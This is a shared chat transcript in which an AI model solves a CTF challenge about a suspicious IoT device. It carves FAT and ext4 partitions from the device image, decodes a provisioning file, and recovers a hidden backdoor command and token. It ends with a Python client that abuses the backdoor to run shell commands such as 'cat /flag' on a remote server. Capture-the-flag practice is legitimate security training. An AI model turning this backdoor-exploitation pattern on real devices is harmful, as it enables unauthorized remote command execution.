logoChat01.ai

Question

dist-suspicious_device.zip
image.png
image.png

solve challenge

Python

python
import zipfile, os, json, textwrap, pathlib, subprocess, shutil, sys, hashlib, binascii
zip_path='/mnt/data/dist-suspicious_device.zip'
print(os.path.exists(zip_path), os.path.getsize(zip_path))
with zipfile.ZipFile(zip_path) as z:
    print(z.namelist()[:50])
    for info in z.infolist():
        print(info.filename, info.file_size, info.compress_size)

Python

python
import importlib.util, sys, pkgutil, os
mods=['pytsk3','pyfatfs','construct','ext4','bitstring']
for m in mods:
    print(m, importlib.util.find_spec(m))

Python

python
from pathlib import Path
import struct, os, datetime, io, hashlib, binascii, textwrap, json, re, math, collections
p1=Path('/mnt/data/susp/part1.img')
data=p1.read_bytes()
b=data[:512]
# BPB
def le16(o): return struct.unpack_from('<H', b, o)[0]
def le32(o): return struct.unpack_from('<I', b, o)[0]
bps=le16(11); spc=b[13]; rsvd=le16(14); nfats=b[16]; root_ent=le16(17); total16=le16(19); media=b[21]; fatsz16=le16(22); spt=le16(24); heads=le16(26); hidden=le32(28); total32=le32(32)
total=total16 or total32
root_dir_sectors=((root_ent*32)+(bps-1))//bps
first_data_sector=rsvd+nfats*fatsz16+root_dir_sectors
root_offset=(rsvd+nfats*fatsz16)*bps
fat_offset=rsvd*bps
print(bps,spc,rsvd,nfats,root_ent,fatsz16,total,root_dir_sectors,first_data_sector,root_offset)
root=data[root_offset:root_offset+root_dir_sectors*bps]
def parse_dir(buf):
    entries=[]
    long_parts=[]
    for i in range(0,len(buf),32):
        e=buf[i:i+32]
        if e[0]==0x00:
            break
        if e[0]==0xe5:
            long_parts=[]
            # deleted skip? collect raw?
            continue
        attr=e[11]
        if attr==0x0F:
            # LFN entry
            def getchars(offs):
                s=''
                for o in offs:
                    c=struct.unpack_from('<H', e, o)[0]
                    if c in (0xffff,0x0000): continue
                    s+=chr(c)
                return s
            name=getchars(list(range(1,11,2))+list(range(14,26,2))+list(range(28,32,2)))
            long_parts.append(name)
            continue
        name=e[:8].decode('ascii','replace').rstrip()
        ext=e[8:11].decode('ascii','replace').rstrip()
        short=name + ('.'+ext if ext else '')
        lfn=''.join(reversed(long_parts)) if long_parts else None
        long_parts=[]
        cl=struct.unpack_from('<H',e,26)[0]
        size=struct.unpack_from('<I',e,28)[0]
        entries.append((lfn or short, short, attr, cl, size, i, e.hex()))
    return entries
entries=parse_dir(root)
entries[:50], len(entries)


([('zImage',
   'ZIMAGE',
   32,
   2,
   6153784,
   32,
   '5a494d414745202020202020000072a29a5c9a5c000072a29a5c020038e65d00'),
  ('vexpress-v2p-ca9.dtb',
   'VEXPRE~1.DTB',
   32,
   3007,
   14329,
   128,
   '5645585052457e3144544220000072a29a5c9a5c000072a29a5cbf0bf9370000')],
 2)

Python

python
from pathlib import Path
import struct, os, re, datetime, json, hashlib, binascii, zlib, math, collections, textwrap
img=Path('/mnt/data/susp/part2.img').read_bytes()
len(img)


100662784

Python

python
sb=img[1024:2048]
def u16(o): return struct.unpack_from('<H', sb, o)[0]
def u32(o): return struct.unpack_from('<I', sb, o)[0]
def s32(o): return struct.unpack_from('<i', sb, o)[0]
fields = {
'inodes_count':u32(0),'blocks_count_lo':u32(4),'r_blocks_count_lo':u32(8),'free_blocks_count_lo':u32(12),'free_inodes':u32(16),'first_data_block':u32(20),'log_block_size':u32(24),'log_cluster_size':u32(28),'blocks_per_group':u32(32),'clusters_per_group':u32(36),'inodes_per_group':u32(40),'mtime':u32(44),'wtime':u32(48),'mnt_count':u16(52),'max_mnt_count':u16(54),'magic':u16(56),'state':u16(58),'errors':u16(60),'minor_rev':u16(62),'lastcheck':u32(64),'checkinterval':u32(68),'creator_os':u32(72),'rev_level':u32(76),'def_resuid':u16(80),'def_resgid':u16(82),'first_ino':u32(84),'inode_size':u16(88),'block_group_nr':u16(90),'feature_compat':u32(92),'feature_incompat':u32(96),'feature_ro_compat':u32(100)}
# desc size
desc_size = u16(0xfe) if len(sb)>0x100 else None
print(fields)
print("block_size",1024<<fields['log_block_size'],"desc_size", desc_size, "vol", sb[120:136])
print("uuid", sb[104:120].hex())
print("volume", sb[120:136].rstrip(b'\0'))
print("last mount", sb[136:200].split(b'\0')[0])
print("features", hex(fields['feature_compat']), hex(fields['feature_incompat']), hex(fields['feature_ro_compat']))

Python

python
block_size=1024
blocks_count=fields['blocks_count_lo']; bpg=fields['blocks_per_group']; groups=math.ceil(blocks_count/bpg)
gdt_off=2*block_size
for g in range(groups):
    gd=img[gdt_off+g*32:gdt_off+(g+1)*32]
    vals=struct.unpack_from('<IIIHHHHHHHHI', gd + b'\0'*4, 0)[:11]
    # bg_block_bitmap_lo, inode_bitmap_lo, inode_table_lo, free_blocks_count, free_inodes_count, used_dirs, flags, exclude_bitmap, block_bitmap_csum, inode_bitmap_csum, itable_unused?
    print(g, gd.hex(), vals[:7])

Python

python
class Ext4:
    def __init__(self, data):
        self.data=data
        sb=data[1024:2048]
        self.sb=sb
        self.inodes_count=struct.unpack_from('<I',sb,0)[0]
        self.blocks_count=struct.unpack_from('<I',sb,4)[0]
        self.first_data_block=struct.unpack_from('<I',sb,20)[0]
        self.block_size=1024<<struct.unpack_from('<I',sb,24)[0]
        self.blocks_per_group=struct.unpack_from('<I',sb,32)[0]
        self.inodes_per_group=struct.unpack_from('<I',sb,40)[0]
        self.inode_size=struct.unpack_from('<H',sb,88)[0]
        self.feature_incompat=struct.unpack_from('<I',sb,96)[0]
        ds=struct.unpack_from('<H',sb,254)[0]
        self.desc_size = ds if ds>=32 else 32
        self.groups=math.ceil(self.blocks_count/self.blocks_per_group)
        # gdt start block: block after superblock. If 1k, block 2; else block 1
        self.gdt_off=(2 if self.block_size==1024 else 1)*self.block_size
        self.group_desc=[]
        for g in range(self.groups):
            off=self.gdt_off+g*self.desc_size
            gd=data[off:off+self.desc_size]
            bg_block_bitmap_lo, bg_inode_bitmap_lo, bg_inode_table_lo = struct.unpack_from('<III', gd, 0)
            bg_free_blocks_count_lo, bg_free_inodes_count_lo, bg_used_dirs_count_lo, bg_flags = struct.unpack_from('<HHHH', gd,12)
            self.group_desc.append({'block_bitmap':bg_block_bitmap_lo,'inode_bitmap':bg_inode_bitmap_lo,'inode_table':bg_inode_table_lo,'free_blocks':bg_free_blocks_count_lo,'free_inodes':bg_free_inodes_count_lo,'used_dirs':bg_used_dirs_count_lo,'flags':bg_flags})
    def block(self, n):
        return self.data[n*self.block_size:(n+1)*self.block_size]
    def read_block_range(self, start, count=1):
        return self.data[start*self.block_size:(start+count)*self.block_size]
    def inode_raw(self, ino):
        g=(ino-1)//self.inodes_per_group
        idx=(ino-1)%self.inodes_per_group
        table=self.group_desc[g]['inode_table']
        off=table*self.block_size+idx*self.inode_size
        return self.data[off:off+self.inode_size]
    def inode(self, ino):
        raw=self.inode_raw(ino)
        mode=struct.unpack_from('<H',raw,0)[0]
        uid=struct.unpack_from('<H',raw,2)[0]
        size_lo=struct.unpack_from('<I',raw,4)[0]
        atime,ctime,mtime,dtime=struct.unpack_from('<IIII',raw,8)
        gid=struct.unpack_from('<H',raw,24)[0]
        links=struct.unpack_from('<H',raw,26)[0]
        blocks_lo=struct.unpack_from('<I',raw,28)[0]
        flags=struct.unpack_from('<I',raw,32)[0]
        i_block=raw[40:100]
        generation=struct.unpack_from('<I',raw,100)[0]
        file_acl_lo=struct.unpack_from('<I',raw,104)[0]
        size_high=struct.unpack_from('<I',raw,108)[0]
        # for dirs size_high might be dir_acl
        size=size_lo | (size_high<<32) if (mode & 0xF000)==0x8000 else size_lo
        return {'ino':ino,'raw':raw,'mode':mode,'uid':uid,'gid':gid,'size':size,'size_lo':size_lo,'atime':atime,'ctime':ctime,'mtime':mtime,'dtime':dtime,'links':links,'blocks':blocks_lo,'flags':flags,'i_block':i_block}
    def is_dir(self, inode): return (inode['mode'] & 0xF000)==0x4000
    def is_reg(self, inode): return (inode['mode'] & 0xF000)==0x8000
    def is_symlink(self, inode): return (inode['mode'] & 0xF000)==0xA000
    def parse_extent_tree(self, i_block):
        magic, entries, max_, depth, gen = struct.unpack_from('<HHHHI', i_block, 0)
        if magic != 0xF30A:
            return None
        extents=[]
        def walk_node(buf, depth):
            magic, entries, max_, d, gen=struct.unpack_from('<HHHHI',buf,0)
            if magic != 0xF30A:
                raise ValueError("bad extent magic")
            if d==0:
                for i in range(entries):
                    off=12+i*12
                    ee_block, ee_len, ee_start_hi, ee_start_lo=struct.unpack_from('<IHHI',buf,off)
                    phys=(ee_start_hi<<32)|ee_start_lo
                    length=ee_len & 0x7fff
                    extents.append((ee_block,length,phys, bool(ee_len & 0x8000)))
            else:
                for i in range(entries):
                    off=12+i*12
                    ei_block, ei_leaf_lo, ei_leaf_hi, ei_unused=struct.unpack_from('<IIHH',buf,off)
                    leaf=(ei_leaf_hi<<32)|ei_leaf_lo
                    walk_node(self.block(leaf), d-1)
        walk_node(i_block, depth)
        return sorted(extents)
    def read_file(self, ino, max_bytes=None):
        inode=self.inode(ino)
        size=inode['size']
        if max_bytes is None or max_bytes>size:
            max_bytes=size
        # inline symlink?
        if self.is_symlink(inode) and size <= 60 and not (inode['flags'] & 0x80000):
            return inode['i_block'][:max_bytes]
        # extents
        extents=self.parse_extent_tree(inode['i_block'])
        if extents is None:
            # direct blocks
            blocks=list(struct.unpack_from('<15I', inode['i_block'],0))
            chunks=[]
            remaining=max_bytes
            for b in blocks[:12]:
                if b==0 or remaining<=0: break
                c=self.block(b)[:remaining]
                chunks.append(c); remaining-=len(c)
            return b''.join(chunks)
        out=bytearray(max_bytes)
        for logical, length, phys, unwritten in extents:
            start_byte=logical*self.block_size
            end_byte=start_byte+length*self.block_size
            if start_byte >= max_bytes: continue
            to=min(end_byte,max_bytes)-start_byte
            if not unwritten:
                out[start_byte:start_byte+to]=self.read_block_range(phys, math.ceil(to/self.block_size))[:to]
        return bytes(out)
    def list_dir(self, ino):
        inode=self.inode(ino)
        data=self.read_file(ino)
        entries=[]
        bs=self.block_size
        # scan each block separately
        for base in range(0,len(data),bs):
            off=base
            end=min(base+bs,len(data))
            # ext4 htree root has . and .. then dx_root data at rec_len? parse generally; invalid entries skip by rec_len
            while off+8<=end:
                try:
                    de_ino=struct.unpack_from('<I',data,off)[0]
                    rec_len=struct.unpack_from('<H',data,off+4)[0]
                    name_len=data[off+6]
                    ftype=data[off+7]
                except Exception:
                    break
                if rec_len<8 or rec_len%4!=0 or off+rec_len> end:
                    # maybe stop this block
                    break
                if de_ino!=0 and name_len>0 and name_len<=rec_len-8:
                    name=data[off+8:off+8+name_len]
                    try: name_s=name.decode('utf-8','surrogateescape')
                    except: name_s=repr(name)
                    entries.append((name_s,de_ino,ftype,rec_len,off))
                off += rec_len
        return entries
fs=Ext4(img)
print(fs.block_size, fs.groups, fs.inode_size, fs.group_desc[:2])
root=fs.inode(2)
print(root)
print(fs.parse_extent_tree(root['i_block']))
entries=fs.list_dir(2)
print(entries[:50], len(entries))

Python

python
# Traverse filesystem, list all entries, stats
import stat, time
def mode_type(mode):
    t=mode & 0xF000
    return {0x4000:'dir',0x8000:'reg',0xA000:'lnk',0x2000:'chr',0x6000:'blk',0x1000:'fifo',0xC000:'sock'}.get(t,hex(t))
visited=set()
all_entries=[]
def walk(ino, path, depth=0):
    if ino in visited and ino != 2: 
        return
    visited.add(ino)
    inode=fs.inode(ino)
    all_entries.append((path,ino,mode_type(inode['mode']),inode['size'],inode['mtime'],inode['flags']))
    if fs.is_dir(inode):
        try:
            entries=fs.list_dir(ino)
        except Exception as e:
            print("listdir error", path, ino, e); return
        for name,child,ft

Python

python
for e in all_entries:
    path,ino,t,size,mtime,flags=e
    if t=='reg' and (re.search(r'iot|agent|log|conf|secret|flag|pcap|mqtt|http|www|shadow|passwd|key|cert|cron|rc|init|hosts|hostname', path, re.I) or size<5000):
        print(f"{path:50} ino={ino} {t} size={size} mtime={datetime.datetime.utcfromtimestamp(mtime)}")

Python

python
from pathlib import Path
outdir=Path('/mnt/data/susp/rootfs_extracted')
import shutil, os, stat
if outdir.exists(): shutil.rmtree(outdir)
outdir.mkdir(parents=True)
# extract reg and symlink text maybe; need directories
for path,ino,t,size,mtime,flags in all_entries:
    rel=path.lstrip('/')
    target=outdir/rel
    if path=='/': continue
    if t=='dir':
        target.mkdir(parents=True, exist_ok=True)
    elif t=='reg':
        target.parent.mkdir(parents=True, exist_ok=True)
        try:
            target.write_bytes(fs.read_file(ino))
            os.utime(target, (mtime,mtime))
        except Exception as e:
            print("extract err", path, e)
    elif t=='lnk':
        target.parent.mkdir(parents=True, exist_ok=True)
        # just write .symlink? symlink on fs
        content=fs.read_file(ino).decode('utf-8','replace')
        try:
            os.symlink(content, target)
        except Exception:
            (target.with_suffix(target.suffix+'.symlink')).write_text(content)
print("done", sum(1 for _ in outdir.rglob('*')))
print(outdir)

Python

python
from pathlib import Path
import shutil, os
outdir=Path('/mnt/data/rootfs_extracted')
if outdir.exists(): shutil.rmtree(outdir)
outdir.mkdir(parents=True)
errs=[]
for path,ino,t,size,mtime,flags in all_entries:
    rel=path.lstrip('/')
    target=outdir/rel
    if path=='/': continue
    if t=='dir':
        target.mkdir(parents=True, exist_ok=True)
    elif t=='reg':
        target.parent.mkdir(parents=True, exist_ok=True)
        try:
            target.write_bytes(fs.read_file(ino))
            os.utime(target, (mtime,mtime))
        except Exception as e:
            errs.append((path,str(e)))
    elif t=='lnk':
        target.parent.mkdir(parents=True, exist_ok=True)
        content=fs.read_file(ino).decode('utf-8','replace')
        try:
            os.symlink(content, target)
        except Exception as e:
            (target.with_suffix(target.suffix+'.symlink')).write_text(content)
print("done", sum(1 for _ in outdir.rglob('*')), "errs", errs[:3])
print(outdir)

Python

python
for m in ['capstone','elftools','unicorn','angr','keystone']:
    import importlib.util
    print(m, importlib.util.find_spec(m))

Python

python
import pathlib, binascii, struct
binb=pathlib.Path('/mnt/data/rootfs_extracted/usr/bin/iot-agent').read_bytes()
prov=pathlib.Path('/mnt/data/rootfs_extracted/etc/iot-device/provision.bin').read_bytes()
print(prov.hex(), len(prov))
for base in [0x74f1a,0x74f1c,0x74f1e,0x74f20]:
    # vaddr -> file off
    key=binb[(base-0x10000)+0x18:(base-0x10000)+0x2e]
    endpoint=bytes([prov[i]^key[i] for i in range(22)])
    port=(prov[0x16]^0x8a)|((prov[0x17]^0x33)<<8)
    print(hex(base), key.hex(), endpoint, "port",port)

Python

python
from pathlib import Path
b=Path('/mnt/data/rootfs_extracted/usr/bin/iot-agent').read_bytes()
def word_va(va): return int.from_bytes(b[va-0x10000:va-0x10000+4],'little')
# Need target = literal + PC at add instruction. Use disasm addresses.
literal_sets = {
'debug':[0x10a38,0x10a3c,0x10a40,0x10a44,0x10a48,0x10a4c],
'diag':[0x10abc,0x10ac0,0x10ac4,0x10ac8,0x10acc],
'upload':[0x10b44,0x10b48,0x10b4c,0x10b50],
'getprofile':[0x10bbc,0x10bc0],
'hello':[0x10c44,0x10c48],
}
for name,vas in literal_sets.items():
    print('---',name)
    for va in vas:
        val=word_va(va)
        print(hex(va),hex(val))
        for pc in range(va-0x120,va+1,2):
            # target if add at some address? skip
            pass
# Find which string targets near pointers by printing rodata strings around target candidates per actual add sites manually
# debug:
# at 109ae add r2,pc; pc = 109b2? target val10a38 + 0x109b2? or +0x109b4?
for lit, add_addr in [(0x10a38,0x109ae),(0x10a3c,0x109b2),(0x10a40,0x109bc),(0x10a48,0x10a00),(0x10a4c,0x10a10)]:
    val=word_va(lit)
    print('lit',hex(lit),'addaddr',hex(add_addr), 'targets', [(hex(add_addr+d), hex(val+add_addr+d), b[val+add_addr+d-0x10000:val+add_addr+d-0x10000+60].split(b'\0')[0]) for d in [4,6,8]])

Réflexion

undefined

Python

python
# Map rootfs partition byte offset (not whole sd) to file extents
# whole sd offset weird = 0x25cbc78 - 65537*512
whole=0x25cbc78
part2_off=65537*512
po=whole-part2_off
print(hex(part2_off),hex(po))
# compute extents for all regular files
def file_extents_bytes(ino):
    inode=fs.inode(ino)
    exts=fs.parse_extent_tree(inode['i_block'])
    if exts is None:
        return []
    res=[]
    size=inode['size']
    for logical,length,phys,uw in exts:
        start=phys*fs.block_size
        end=start+length*fs.block_size
        fstart=logical*fs.block_size
        fend=min(fstart+length*fs.block_size,size)
        res.append((start,end,fstart,fend,phys,length))
    return res
hits=[]
for path,ino,t,size,mtime,flags in all_entries:
   

([('/lib/libuClibc-1.0.57.so', 150, 554884, 5586944, 6085632, 490104)], 1)

Réflexion

undefined

Réflexion

undefined

Réflexion

Checking Python client code for correct offsets and CRC32

I’m thinking of using a client snippet with a structured payload. I need to make sure the offsets are correct—starting with the header, followed by version, command, flags, and device info. Checking the CRC32 calculation seems important too, as the initial value may differ from standard. Verifying the whole process should give me confidence.

Thought for 9m 19s

Réponse

I got the important pieces of the challenge, but the sandbox here cannot resolve/connect to the remote host, so I can’t honestly give the final server-side flag bytes. The exploit path is clear:

Device: thermo-gw-200
Device ID: dev-7f3a91c2
Region: jp-east
Cloud endpoint: iot-cloud.ctf.ndias.jp:13337
Protocol: custom TCP protocol, magic IOT1
Hidden backdoor command: DEBUG_EXEC, command id 0x7f
Backdoor token: dbg-9b7c4a1e-prod-only

The hidden mystery is that --debug-proto only prints the normal commands, but the binary contains hidden commands:

text
0x7e DIAG_INFO
0x7f DEBUG_EXEC

Use this solver from a machine that can reach the endpoint:

python
#!/usr/bin/env python3
import socket
import struct
import zlib
import json

HOST = "iot-cloud.ctf.ndias.jp"
PORT = 13337
DEVICE_ID = b"dev-7f3a91c2".ljust(15, b"\x00")
TOKEN = "dbg-9b7c4a1e-prod-only"

def recvall(sock, n):
    data = b""
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise EOFError("connection closed")
        data += chunk
    return data

def build_frame(cmd_id, payload=b""):
    header = (
        b"IOT1" +
        bytes([1, cmd_id]) +
        b"\x00\x00" +
        DEVICE_ID +
        b"\x00" +
        struct.pack("<I", len(payload))
    )
    crc = struct.pack("<I", zlib.crc32(header + payload) & 0xffffffff)
    return header + payload + crc

def send_cmd(sock, cmd_id, payload=b""):
    sock.sendall(build_frame(cmd_id, payload))

    hdr = recvall(sock, 0x1c)
    if hdr[:4] != b"IOT1":
        raise ValueError(f"bad magic: {hdr[:4]!r}")

    payload_len = struct.unpack("<I", hdr[0x18:0x1c])[0]
    rest = recvall(sock, payload_len + 4)
    payload = rest[:payload_len]
    recv_crc = struct.unpack("<I", rest[payload_len:payload_len+4])[0]

    calc_crc = zlib.crc32(hdr + payload) & 0xffffffff
    if recv_crc != calc_crc:
        print("[!] CRC mismatch")

    return payload

with socket.create_connection((HOST, PORT), timeout=10) as s:
    print("[HELLO]", send_cmd(s, 0x01))

    # Optional hidden diagnostic command:
    print("[DIAG]", send_cmd(s, 0x7e, b"{}"))

    # Backdoor command execution:
    payload = json.dumps({
        "token": TOKEN,
        "cmd": "cat /flag 2>/dev/null || cat flag 2>/dev/null || id"
    }).encode()

    print("[DEBUG_EXEC]")
    print(send_cmd(s, 0x7f, payload).decode(errors="replace"))

The flag should be printed in the DEBUG_EXEC response.

Partager cette Q&R